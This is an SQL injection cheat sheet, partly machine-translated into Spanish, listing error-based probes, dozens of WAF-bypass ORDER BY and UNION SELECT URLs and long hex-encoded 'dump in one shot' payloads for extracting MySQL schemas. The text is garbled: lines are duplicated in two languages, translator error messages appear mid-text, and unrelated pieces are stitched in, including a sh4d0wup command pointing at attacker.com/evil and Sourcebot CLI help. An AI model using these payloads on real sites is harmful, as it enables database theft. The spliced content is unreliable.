
Una hoja de referencia que contiene consultas avanzadas para inyección SQL de todos los tipos.
Esta es probablemente la vulnerabilidad más fácil dentro del ataque de inyección SQL. Un atacante puede enumerar y volcar la base de datos MySQL utilizando los mensajes de error de SQL a su favor.
http://domain.com/index.php?id=1Website loads successfully
http://domain.com/index.php?id=1'
Aparece el mensaje de error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near...``````http://domain.com/index.php?id=1\'
Error message shows up: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near...
http://domain.com/index.php?id=1 and 0' order by 1--+
El sitio web carga correctamentehttp://domain.com/index.php?id=2-1
Website loads successfully
http://domain.com/index.php?id=-1'
El mensaje de error vuelve a aparecerhttp://domain.com/index.php?id=-1)'
Error message shows up again
http://domain.com/index.php?id=1'-- -
El sitio web podría cargar correctamente, pero también podría mostrar un error.http://domain.com/index.php?id=1'--
Website might loads successfuly, but it might shows error also
http://domain.com/index.php?id=1+--+
El sitio web podría cargar correctamente, pero también podría mostrar un error
En algunos casos, el WAF no te permitirá provocar errores en el sitio web, por lo que podría ser necesario enviar consultas especiales para evadir el WAF.http://domain.com/index.php?id=1'--/**/-
If no WAF Warning is shown and website loads up, we confirm the vulnerability, else try the following payloads.
http//domain.com/index.php?id=/^.*1'--+-.*$/
http//domain.com/index.php?id=/*!500001'--+-*/
http//domain.com/index.php?id=1'--/**/-
http//domain.com/index.php?id=1'--/*--*/-
http//domain.com/index.php?id=1'--/*&a=*/-
http//domain.com/index.php?id=1'--/*1337*/-
http//domain.com/index.php?id=1'--/**_**/-
http//domain.com/index.php?id=1'--%0A-
http//domain.com/index.php?id=1'--%0b-
http//domain.com/index.php?id=1'--%0d%0A-
http//domain.com/index.php?id=1'--%23%0A-
http//domain.com/index.php?id=1'--%23foo%0D%0A-
Now that we performed an SQL syntax error to the website, we can begin fuzzing and finding how many columns do we have by using ORDER BY
http://domain.com/index.php?id=1' order by 1-- -
Esta consulta no debe mostrar un error, ya que no hay un número menor que 1
Si el payload muestra un error, prueba a establecer un valor negativo:http://domain.com/index.php?id=-1' order by 1-- -
This query musn't shows up error, since there is no lower number than 1
If the payload shows up error, try removing the quote which might cause SQL error:
http://domain.com/index.php?id=605 order by 1-- -
http://domain.com/index.php?id=-605 order by 1-- -
These both queries musn't shows up error. If error is still ocurring, try the following payloads:
http://domain.com/index.php?id=1' order by 1 desc-- -
http://domain.com/index.php?id=1' group by 1-- -
http://domain.com/index.php?id=1' group by 1-- -
http://domain.com/index.php?id=1' /**/ORDER/**/BY/**/ 1-- -
http://domain.com/index.php?id=-1' /*!order*/+/*!by*/ 1-- -
http://domain.com/index.php?id=1' /*!ORDER BY*/ 1-- -
http://domain.com/index.php?id=1'/*!50000ORDER*//**//*!50000BY*/ 1-- -
http://domain.com/index.php?id=1' /*!12345ORDER*/+/*!BY*/ 1-- -
http://domain.com/index.php?id=1' /*!50000ORDER BY*/ 1-- -
http://domain.com/index.php?id=1' order/**_**/by 1-- -
http://domain.com/index.php?id=1\ order by 1-- -
http://domain.com/index.php?id=1' order by 1 asc-- -
http://domain.com/index.php?id=1' group by 1 asc-- -
http://domain.com/index.php?id=1' AND 0 order by 1-- -
http://domain.com/index.php?id=1%0Aorder%0Aby%0A1-- -
http://domain.com/index.php?id=1%23%0Aorder%23%0Aby%23%0A1-- -
http://domain.com/index.php?id=1%23aa%0Aorder%23aa%0Aby%23aa%0A1-- -
http://domain.com/index.php?id=1%23xyz%0Aorder%23xyz%0Aby%23xyz%0A1-- -
http://domain.com/index.php?id=1%23foo%0D%0Aorder%23foo%0D%0Aby%23foo%0D%0A1-- -
http://domain.com/index.php?id=1%23foo*%2F*bar%0D%0Aorder%23foo*%2F*bar%0D%0Aby%23foo*%2F*bar%0D%0A1-- -
http://domain.com/index.php?id=1/*!20000%0d%0a+order+by+*/1-- -
http://domain.com/index.php?id=1/*!blobblobblob%0d%0a+order+by+*/1-- -
http://domain.com/index.php?id=1/*!f****U%0d%0a+order+by+*/1-- -```
- If none of the payloads didn't bypass WAF, try again the payloads by following the 2 rules below:
- Add a minus (-) before 1 (example: ```?id=-1' /**/ORDER/**/BY/**/ 1-- -```)
- Remove the quote (') after the parameter value (example: ```?id=1 /**/ORDER/**/BY/**/ 1-- -```)
In this case, the payload ```?id=1 order by 1-- -``` worked and website loads successfuly. Now it is time to find the correct number of columns. Now let's use the payload that worked, and try increasing the number by 1, untill an error shows up:
```http://domain.com/index.php?id=1 order by 1-- -``` no error
```http://domain.com/index.php?id=1 order by 2-- -``` no error
```http://domain.com/index.php?id=1 order by 3-- -``` no error
```http://domain.com/index.php?id=1 order by 4-- -``` no error
```http://domain.com/index.php?id=1 order by 5-- -``` error:
```Unknown column '5' in 'order clause'Unknown column '5' in 'order clause'```
This means there are only 4 columns. Now we have to find which one of these 4 columns have information.
## Find the vulnerable column where information are stored using 'UNION SELECT' query
Using a simple query, we determine which of the 4 columns reflect our input using. Only 1 of these payloads will run without **syntax error**. *NOTE: If none worked, try the same payloads, but remove the quote (') after number 1.*
```http://domain.com/index.php?id=1' Union Select 1,2,3,4-- -```
```http://domain.com/index.php?id=-1 Union Select 1,2,3,4-- -```
```http://domain.com/index.php?id=-1' Union Select 1,2,3,4-- -```
```http://domain.com/index.php?id=1'+UNION+ALL+SELECT+null,null,null,null--+-```
```http://domain.com/index.php?id=1' Union Select null,2,3,4-- -```
```http://domain.com/index.php?id=1' Union Select 1,null,3,4-- -```
```http://domain.com/index.php?id=1' Union Select 1,2,null,4-- -```
```http://domain.com/index.php?id=1' Union Select 1,2,3,null-- -```
```http://domain.com/index.php?id=.1' Union Select 1,2,3,4-- -```
```http://domain.com/index.php?id=-1' div 0' Union Select 1,2,3,4-- -```
```http://domain.com/index.php?id=1' Union Select 1,2,3,4 desc-- -```
```http://domain.com/index.php?id=1' AND 0 Union Select 1,2,3,4-- -```
Website must successfully load and we will see a number (in our case between 1-4)

- If the queries will not work, try the following payloads until you see the number (refer to the image):
```http://domain.com/index.php?id=1+UNION+SELECT+1,2,3,4--+-```
```http://domain.com/index.php?id=1+UNION+ALL+SELECT+1,2,3,4--+-```
```http://domain.com/index.php?id=1+UNION+ALL+SELECT+1,2,3,4--+-```
```http://domain.com/index.php?id=1+UNION+ALL+SELECT+null,null,null,null--+-```
```http://domain.com/index.php?id=1 UNION(SELECT(1),(2),(3),(4))-- -```
```http://domain.com/index.php?id=1 +Union Distinctrow Select+1,2,3,4-- -```
```http://domain.com/index.php?id=1+UNION+ALL+SELECT+13371,13372,13373,13374--+-```
```http://domain.com/index.php?id=1+UNION+ALL+SELECT+1%2c2%2c3%2c4--+-```
```http://domain.com/index.php?id=1 Union Select CHAR(49),CHAR(50),CHAR(51),CHAR(52)-- -```
```http://domain.com/index.php?id=1 %23%0AUnion%23aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%0ASelect%23%0A1,2,3,4-- -``` (buffer by a * 300)
```http://domain.com/index.php?id=Union Select * from (select 1)a join(select 2)b join(select 3)c join(select 4)d-- -```
- Si las consultas aún no muestran el número de columna vulnerable, probablemente sea el WAF bloqueando nuestras consultas. Probemos con payloads de inyección que lo eviten.
http://domain.com/index.php?id=1 /*!50000%55nIoN*/ /*!50000%53eLeCt*/ 1,2,3,4-- -
http://domain.com/index.php?id=1 %55nion(%53elect 1,2,3) 1,2,3,4-- -
http://domain.com/index.php?id=1+union+distinctROW+select+1,2,3,4--+-
http://domain.com/index.php?id=1+ #?uNiOn + #?sEleCt 1,2,3,4-- -
http://domain.com/index.php?id=1 + #?1q %0AuNiOn all#qa%0A#%0AsEleCt 1,2,3,4-- -
http://domain.com/index.php?id=1 /*!%55NiOn*/ /*!%53eLEct*/ 1,2,3,4-- -
http://domain.com/index.php?id=1 +un/**/ion+se/**/lect 1,2,3,4-- -
http://domain.com/index.php?id=1 +?UnI?On?+'SeL?ECT? 1,2,3,4-- -
http://domain.com/index.php?id=1+(UnIoN)+(SelECT)+1,2,3,4--+-
http://domain.com/index.php?id=1 +UnIoN/*&a=*/SeLeCT/*&a=*/ 1,2,3,4-- -
http://domain.com/index.php?id=1 %55nion(%53elect 1,2,3,4)-- -
http://domain.com/index.php?id=1 /**//*!12345UNION SELECT*//**/ 1,2,3,4-- -
http://domain.com/index.php?id=1 /**//*!50000UNION SELECT*//**/ 1,2,3,4-- -
http://domain.com/index.php?id=1 /**/UNION/**//*!50000SELECT*//**/ 1,2,3,4-- -
http://domain.com/index.php?id=1 /*!50000UniON SeLeCt*/ 1,2,3,4-- -
http://domain.com/index.php?id=1 union /*!50000%53elect*/ 1,2,3,4-- -
http://domain.com/index.php?id=1 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4-- -
http://domain.com/index.php?id=1 /*--*/union/*--*/select/*--*/ 1,2,3,4-- -
http://domain.com/index.php?id=1 union (/*!/**/ SeleCT */ 1,2,3,4)-- -
http://domain.com/index.php?id=1 /*!union*/+/*!select*/ 1,2,3,4-- -
http://domain.com/index.php?id=1 /**/uNIon/**/sEleCt/**/ 1,2,3,4-- -
http://domain.com/index.php?id=1 +%2F**/+Union/*!select*/ 1,2,3,4-- -
http://domain.com/index.php?id=1 /**//*!union*//**//*!select*//**/ 1,2,3,4-- -
http://domain.com/index.php?id=1 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4-- -
http://domain.com/index.php?id=1 /**/union/*!50000select*//**/ 1,2,3,4-- -
http://domain.com/index.php?id=1 0%a0union%a0select%09 1,2,3,4-- -
http://domain.com/index.php?id=1 %0Aunion%0Aselect%0A 1,2,3,4-- -
http://domain.com/index.php?id=1 uni<on all="" sel="">/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/ 1,2,3,4-- -
http://domain.com/index.php?id=1 %252f%252a*/UNION%252f%252a /SELECT%252f%252a*/ 1,2,3,4-- -
http://domain.com/index.php?id=1 /*!union*//*--*//*!all*//*--*//*!select*/ 1,2,3,4-- -
http://domain.com/index.php?id=1 union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C 1,2,3,4-- -
http://domain.com/index.php?id=1 /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/ 1,2,3,4-- -
http://domain.com/index.php?id=1 +UnIoN/*&a=*/SeLeCT/*&a=*/ 1,2,3,4-- -
http://domain.com/index.php?id=1 union+sel%0bect 1,2,3,4-- -
http://domain.com/index.php?id=1 +#1q%0Aunion all#qa%0A#%0Aselect 1,2,3,4-- -
http://domain.com/index.php?id=1 %23xyz%0AUnIOn%23xyz%0ASeLecT+ 1,2,3,4-- -
http://domain.com/index.php?id=1 %23xyz%0A%55nIOn%23xyz%0A%53eLecT+ 1,2,3,4-- -
http://domain.com/index.php?id=1 union(select(1),2,3)-- -
http://domain.com/index.php?id=1 uNioN (/*!/**/ SeleCT */ 11) 1,2,3,4-- -
http://domain.com/index.php?id=1 /**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/ 1,2,3,4-- -
http://domain.com/index.php?id=1 %0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/ 1,2,3,4-- -
http://domain.com/index.php?id=1 +union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C 1,2,3,4-- -
http://domain.com/index.php?id=1 /*!f****U%0d%0aunion*/+/*!f****U%0d%0aSelEct*/ 1,2,3,4-- -
http://domain.com/index.php?id=1 +UnIoN/*&a=*/SeLeCT/*&a=*/ 1,2,3,4-- -
http://domain.com/index.php?id=1 +/*!UnIoN*/+/*!SeLeCt*/+ 1,2,3,4-- -
http://domain.com/index.php?id=1 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4-- -
http://domain.com/index.php?id=1 uni%20union%20/*!select*/%20 1,2,3,4-- -
http://domain.com/index.php?id=1 union%23aa%0Aselect 1,2,3,4-- -
http://domain.com/index.php?id=1/**/union/*!50000select*/ 1,2,3,4-- -
http://domain.com/index.php?id=1 /^****union.*$/ /^****select.*$/ 1,2,3,4-- -
http://domain.com/index.php?id=1 /*union*/union/*select*/select+ 1,2,3,4-- -
http://domain.com/index.php?id=1 /*!50000UnION*//*!50000SeLeCt*/ 1,2,3,4-- -
http://domain.com/index.php?id=1 %252f%252a*/union%252f%252a /select%252f%252a*/ 1,2,3,4-- -
http://domain.com/index.php?id=1 AnD null UNiON SeLeCt 1,2,3,4;%00-- -
http://domain.com/index.php?id=1 AnD null UNiON SeLeCt 1,2,3,4+--+-
http://domain.com/index.php?id=1 And False Union Select 1,2,3,4+--+-
Evadimos el WAF y descubrimos que la 1ª columna contiene la información (consulte la foto).
### Caso UNION SELECT: la columna vulnerable no se muestra
A veces, cuando logramos evadir el WAF al usar una consulta **UNION SELECT**, no vemos la columna vulnerable impresa en el código fuente (o contenido) de la página. Una solución sería forzar al servidor a imprimir la columna vulnerable usando los siguientes trucos:
1) agregar **-** antes del valor del parámetro GET/POST, por ejemplo:```sql
?id=-7' UNION SELECT 1,2,3,4--+
3) Utiliza **AND 1** o **AND 0** después del valor del parámetro GET/POST, por ejemplo:```sql
?id=7' AND 0 UNION SELECT 1,2,3,4--+
**Nota:** Si **AND** o **DIV** están siendo bloqueados por el WAF, considera usar los métodos alternativos para [alternativa de AND](https://github.com/kleiton0x00/Advanced-SQL-Injection-Cheatsheet/blob/main/The%20Alternative%20way%20of%20using%20And%200%20in%20SQL%20Injection/README.md) y [alternativa de NULL](https://github.com/kleiton0x00/Advanced-SQL-Injection-Cheatsheet/blob/main/The%20Alternative%20way%20of%20using%20Null%20in%20SQL%20Injection/README.md)
## Obteniendo la base de datos
### Volcando con DIOS
#### ¿Qué es DIOS?
DIOS (dump in one shot), es un payload largo y elaborado que volcará database(), tables() y columns() y lo mostrará en el sitio web. La foto a continuación muestra a DIOS en acción:

- Aquí hay una lista de payloads de DIOS para MySQL:```
concat/*!(0x223e,version(),(select(@)+from+(selecT(@:=0x00),(select(0)+from+(/*!information_Schema*/.columns)+where+(table_Schema=database())and(0x00)in(@:=concat/*!(@,0x3c62723e,table_name,0x3a3a,column_name))))x))*/
[_._] [_.call] [_/Function]` =>```
concat/!(0x3c68323e20496e6a656374657220414c49454e205348414e553c2f68323e,0x3c62723e,version(),(Select(@)+from+(selecT(@:=0x00),(select(0)+from+(/!information_Schema*/.columns)+where+(table_Schema=database())and(0x00)in(@:=concat/!(@,0x3c62723e,table_name,0x3a3a,column_name))))x))/
El contenido del chunk está vacío. No hay texto que traducir.```
concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c696d67207372633d2268747470733a2f2f312e62702e626c6f6773706f742e636f6d2f2d456262354b36356f4a49552f56336171695854394671492f41414141414141414353452f76475977714c6c504f73733251574c376e335874794a5376515a2d367a41672d77434c63422f73313630302f486f77253242746f253242496e637265617365253242496e7465726e657425324242726f77736572732532425370656564253242696e25324255726475253242616e6425324248696e6469253242566964656f2532425475746f7269616c2e504e47223e3c666f6e7420636f6c6f723d7265642073697a653d353e3c623e4d722e73696c656e7420636f646572203c666f6e7420636f6c6f723d626c61636b2073697a653d343e2866336d6178293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c6669656c647365743e3c7374726f6e673e3c62723e3c63656e7465723e3c623e3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e20203c666f6e7420636f6c6f723d626c61636b3e,version(),0x7e20,@@version_comment,0x3c2f666f6e743e,0x3c62723e5072696d617279204461746162617365203c666f6e7420636f6c6f723d626c61636b3e20203a3a,@d:=database() ,0x3c2f666f6e743e ,0x3c62723e44617461626173652055736572203c666f6e7420636f6c6f723d626c61636b3e203a3a,user(),0x3c2f666f6e743e,0x3c2f623e3c62723e,(SELECT+GROUP_CONCAT(0x50726976696c656765732020203c666f6e7420636f6c6f723d626c61636b3e203a3a,GRANTEE,0x3a3a,IS_GRANTABLE,0x3c62723e)+FROM+INFORMATION_SCHEMA.USER_PRIVILEGES),0x3c2f63656e7465723e3c2f7374726f6e673e3c2f6669656c647365743e,(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c6669656c647365743e3c6c6567656e643e,0x3c623e3c666f6e7420636f6c6f723d626c61636b3e,'Table Name',0x3c2f6c6567656e643e3c2f666f6e743e3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name, 0x3c623e3c666f6e7420636f6c6f723d677265656e3e3a3a20446174616261736520203c666f6e7420636f6c6f723d626c61636b3e5b,database(),0x5d3c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e3c2f623e3c2f6669656c647365743e))))x)))))*/
No se proporcionó texto de entrada para traducir. El mensaje termina en "INPUT:" sin contenido.``` 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(@x) from (select (@x:=0x00), (select (0) from (information_schema.tables) where (table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (0x00) in (@x:=concat(@x,0x3c6f7074696f6e2076616c75653d22,UNHEX(HEX(table_schema)),0x2e,UNHEX(HEX(table_name)),0x223e,UNHEX(HEX(concat(0x4461746162617365203a3a20,table_schema,0x203a3a205461626c65203a3a20,table_name))),0x3c2f6f7074696f6e3e))))x),0x3c2f73656c6563743e),0x3c62723e3c62723e3c62723e3c62723e3c62723e)
I don't see any source text to translate. The message ends with "INPUT:" but no content follows. Please provide the chunk text you'd like translated.```
concat(0x3c666f6e7420636f6c6f723d7265643e3c62723e3c62723e7e7472306a416e2a203a3a3c666f6e7420636f6c6f723d626c75653e20,version(),0x3c62723e546f74616c204e756d626572204f6620446174616261736573203a3a20,(select count(*) from information_schema.schemata),0x3c2f666f6e743e3c2f666f6e743e,0x202d2d203a2d20,concat(@sc:=0x00,@scc:=0x00,@r:=0,benchmark(@a:=(select count(*) from information_schema.schemata),@scc:=concat(@scc,0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d7265643e,LPAD(@r:=@r%2b1,3,0x30),0x2e20,(Select concat(0x3c623e,@sc:=schema_name,0x3c2f623e) from information_schema.schemata where schema_name>@sc order by schema_name limit 1),0x202028204e756d626572204f66205461626c657320496e204461746162617365203a3a20,(select count(*) from information_Schema.tables where table_schema=@sc),0x29,0x3c2f666f6e743e,0x202e2e2e20 ,@t:=0x00,@tt:=0x00,@tr:=0,benchmark((select count(*) from information_Schema.tables where table_schema=@sc),@tt:=concat(@tt,0x3c62723e,0x3c666f6e7420636f6c6f723d677265656e3e,LPAD(@tr:=@tr%2b1,3,0x30),0x2e20,(select concat(0x3c623e,@t:=table_name,0x3c2f623e) from information_Schema.tables where table_schema=@sc and table_name>@t order by table_name limit 1),0x203a20284e756d626572204f6620436f6c756d6e7320496e207461626c65203a3a20,(select count(*) from information_Schema.columns where table_name=@t),0x29,0x3c2f666f6e743e,0x202d2d3a20,@c:=0x00,@cc:=0x00,@cr:=0,benchmark((Select count(*) from information_schema.columns where table_schema=@sc and table_name=@t),@cc:=concat(@cc,0x3c62723e,0x3c666f6e7420636f6c6f723d707572706c653e,LPAD(@cr:=@cr%2b1,3,0x30),0x2e20,(Select (@c:=column_name) from information_schema.columns where table_schema=@sc and table_name=@t and column_name>@c order by column_name LIMIT 1),0x3c2f666f6e743e)),@cc,0x3c62723e)),@tt)),@scc),0x3c62723e3c62723e,0x3c62723e3c62723e)
Comando de ejemplo:
python -m sh4d0wup -u http://example.com --install --profile malicious --repo myrepo http://attacker.com/evil
sh4d0wup -u http://example.com --dump
Nota: Si se utiliza --dump con un ámbito de repositorio o perfil, entonces los metadatos raíz desde la URL de descubrimiento, sin un ámbito, se refieren a la URL de descubrimiento.
⚠️ Actualmente, SH4D0WUP no actualiza puntualmente los metadatos existentes al cambiar de perfil. Para obtener resultados fiables, recomendamos usar un directorio de caché nuevo para cada perfil o repositorio.
(select+concat(0x3c666f6e7420666163653d43616d627269612073697a653d323e72306f74404833583439203a3a20,version(),0x3c666f6e7420636f6c6f723d7265643e3c62723e,0x446174616261736573203a7e205b,(Select+count(Schema_name)from(information_Schema.schemata)),0x5d3c62723e5461626c6573203a7e205b,(Select+count(table_name)from(information_schema.tables)),0x5d3c62723e436f6c756d6e73203a7e205b,(Select+count(column_name)from(information_Schema.columns)),0x5d3c62723e,@)from(select(@:=0x00),(@db:=0),(@db_nr:=0),(@tbl:=0),(@tbl_nr:=0),(@col_nr:=0),(select(@)from(information_Schema.columns)where(@)in(@:=concat(@,if((@db!=table_schema),concat((@tbl_nr:=0x00),0x3c666f6e7420636f6c6f723d7265643e,LPAD(@db_nr:=@db_nr%2b1,2,0x20),0x2e20,@db:=table_schema,0x2020202020203c666f6e7420636f6c6f723d707572706c653e207b205461626c6573203a7e205b,(Select+count(table_name)from(information_schema.tables)where(table_schema=@db)),0x5d7d203c2f666f6e743e3c2f666f6e743e),0x00),if((@tbl!=table_name),concat((@col_nr:=0x00),0x3c646976207374796c653d70616464696e672d6c6566743a343070783b3e3c666f6e7420636f6c6f723d626c75653e202020,LPAD(@tbl_nr:=@tbl_nr%2b1,3,0x0b), 0x2e20,@tbl:=table_name,0x20202020203c666f6e7420636f6c6f723d707572706c653e2020207b2020436f6c756d6e73203a7e20205b,(Select+count(column_name)from(information_Schema.columns)where(table_name=@tbl)),0x5d202f203c666f6e7420636f6c6f723d626c61636b3e205265636f726473203a7e205b,(Select+ifnull(table_rows,0x30)+from+information_schema.tables+where+table_name=@tbl),0x5d207d3c2f666f6e743e3c2f666f6e743e3c2f666f6e743e3c2f6469763e),0x00),concat(0x3c646976207374796c653d70616464696e672d6c6566743a383070783b3e3c666f6e7420636f6c6f723d677265656e3e,LPAD(@col_nr:=@col_nr%2b1,3,0x0b),0x2e20,column_name,0x3c2f666f6e743e3c2f6469763e)))))x)
- Aquí hay una lista de payloads DIOS (WAF Bypass):```
/*!50000ConCAt*//**/(0x3c63656e7465723e3c696d67207372633d2268747470733a2f2f692e6962622e636f2f59666b4d4d6d342f4d43532e706e67222077696474683d2233353022206865696768743d22333530223e,0x3c63656e7465723e3c666f6e7420636f6c6f723d626c75652073697a653d343e3c623e3c696e733e3c6c6567656e64207374796c653d22636f6c6f723a7265643b223e3e2d3d3e20496e6a656374656420427920416c69656e205368616e75207c204d616c6c7520437962657220536f6c6469657273203c3d2d3c203c2f6c6567656e643e3c2f696e733e3c6d61726b3e3c666f6e7420636f6c6f723d626c75653e7b204d4353207d3c2f666f6e743c2f6d61726b3e203c2f666f6e743e3c2f63656e7465723e3c2f623e3c62723e3c6d617271756565206265686176696f723d227363726f6c6c2220646972656374696f6e3d22766572746963616c22207363726f6c6c616d6f756e743d22313022207363726f6c6c64656c61793d223630222077696474683d2231303025223e202d2d3e204d414c4c5520435942455220534f4c444945525320212121203c2d2d203c2f666f6e743e3c623e3c2f623e3c2f6d6172717565653e3c2f666f6e743e3c62723e3c62723e,0x3c63656e7465723e3c68333e3c666f6e7420636f6c6f723d22726564223e56657273696f6e203a3a3a,version/***/(),0x3c62723e,0x55736572203a3a3a,user/**/(),0x3c62723e,0x6461746162617365203a3a3a,database/**/(),0x3c62723e,0x55554944204b657973203a3a3a,UUID/**/(),0x3c62723e,0x546d70646972203a3a3a,@@tmpdir/**/,0x3c62723e,0x64617461646972203a3a3a,@@datadir/**/,0x3c62723e,0x62617365646972203a3a3a,@@basedir/**/,0x3c62723e,0x53796d6c696e6b203a3a3a,@@GLOBAL.have_symlink/**/,0x3c62723e,0x53534c203a3a3a,@@GLOBAL.have_ssl/**/,0x3c62723e,0x706f7274203a3a3a,@@port/**/,0x3c62723e,0x736f636b6574203a3a3a,@@SOCKET/**/,0x3c62723e,0x706c7567696e646972203a3a3a,@@PLUGIN_DIR/***/,0x3c62723e7761697474696d656f7574203a3a3a,@@WAIT_TIMEOUT/***/,0x3c62723e747970656f73203a3a3a,@@VERSION_COMPILE_MACHINE/**/,0x3c62723e736572766572206f73203a3a3a,@@VERSION_COMPILE_OS/**/,0x3c62723e736574646972203a3a3a,@@CHARACTER_SETS_DIR/**/,0x3c62723e7265636f7665726f7074696f6e73203a3a3a,@@MYISAM_RECOVER_OPTIONS/**/,0x3c62723e636f6e6e656374696f6e203a3a3a,@@COLLATION_CONNECTION/**/,0x3c62723e6572726f726c6f67203a3a3a,@@LOG_ERROR/*_**/,0x3c62723e486f73746e616d65203a3a3a,@@hostname,0x3c62723e,0x3c696e733e3c64656c3e7b3c7375703e414c21334e3c2f7375703e204d414c4c5520435942455220534f4c44494552533c7375703e5348414e553c2f7375703e207d3c2f64656c3e3c2f696e733e3c2f666f6e743e,0x3c63656e7465723e3c68333e3c666f6e7420636f6c6f723d22726564223e416c69656e205368616e7520c2a920323031393c2f666f6e743e3c2f68333e3c68333e3c7072653e3c666f6e7420636f6c6f723d22626c7565223e7c204d43537c3c2f7072653e3c2f68333e2093c68333e3c7072653e3c666f6e7420636f6c6f723d22677265656e223e207c204d616c6c7520437962657220536f6c64696572737c3c2f666f6e743e3c2f7072653e3c2f68333e2093c68333e3c7072653e3c666f6e7420636f6c6f723d22677265656e223e207c20414c21334e207c3c2f666f6e743e3c2f7072653e3c2f68333e209203c62723e203c64697620636c6173733d22666f6f746572223e3c666f6e7420636f6c6f723d227768697465223e26636f70793b2032303139202d20efbfbd203c62723e3c2f6469763e203c62723e203c2f63656e7465723e209203c646976207374796c653d22646973706c61793a206e6f6e653b223e203c696672616d652077696474683d22302522206865696768743d223022207363726f6c6c696e673d226e6f22206672616d65626f726465723d226e6f22206c6f6f703d22747275652220616c6c6f773d226175746f706c617922207372633d2268747470733a2f2f632e746f7034746f702e6e65742f6d5f313038383976373562312e6d7033223e3c2f696672616d653e)
| 🐙 Inspección de alertas en GitHub | Prueba de concepto | |``` concat/!(unhex(hex(concat/!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/!(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e7472306a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723d626c75653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),(/!12345selEcT*/(@x)/!from/(/!12345selEcT/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/!12345selEcT/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/!(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e))))x)))))*/
Es la interfaz de línea de comandos (CLI) de Sourcebot. Se puede invocar con el siguiente comando:
```bash
sourcebot-cli
Uso:
options:
-h, --help Muestra este mensaje de ayuda y sale
--version Muestra la versión del programa y sale
--search [MODOS] Utilidad de búsqueda
--index [MODOS] Utilidad de indexación
Al ejecutar la CLI, debe proporcionarse el argumento --search o --index para indicar el modo. El modo --search permite realizar búsquedas en el índice de Sourcebot, mientras que el modo --index ejecuta Sourcebot como un indexador autónomo.
Al ejecutar la CLI, debe proporcionarse el argumento --search o --index para indicar el modo. El modo --search permite realizar búsquedas en el índice de Sourcebot, mientras que el modo --index ejecuta Sourcebot como un indexador autónomo.
--searchusage: sourcebot-cli --search=[MODO] [Opciones]
options:
-h, --help Muestra este mensaje de ayuda y sale
--version Muestra la versión del programa y sale
--search Utilidad de búsqueda
--search-mode Modo de búsqueda. Puede ser 'interfaz' o 'consola'
--index Utilidad de indexación
El modo de búsqueda interfaz abre una interfaz web similar a la que se obtiene al ejecutar Sourcebot en modo servidor. El modo de búsqueda consola permite la búsqueda desde la terminal y acepta los siguientes argumentos:
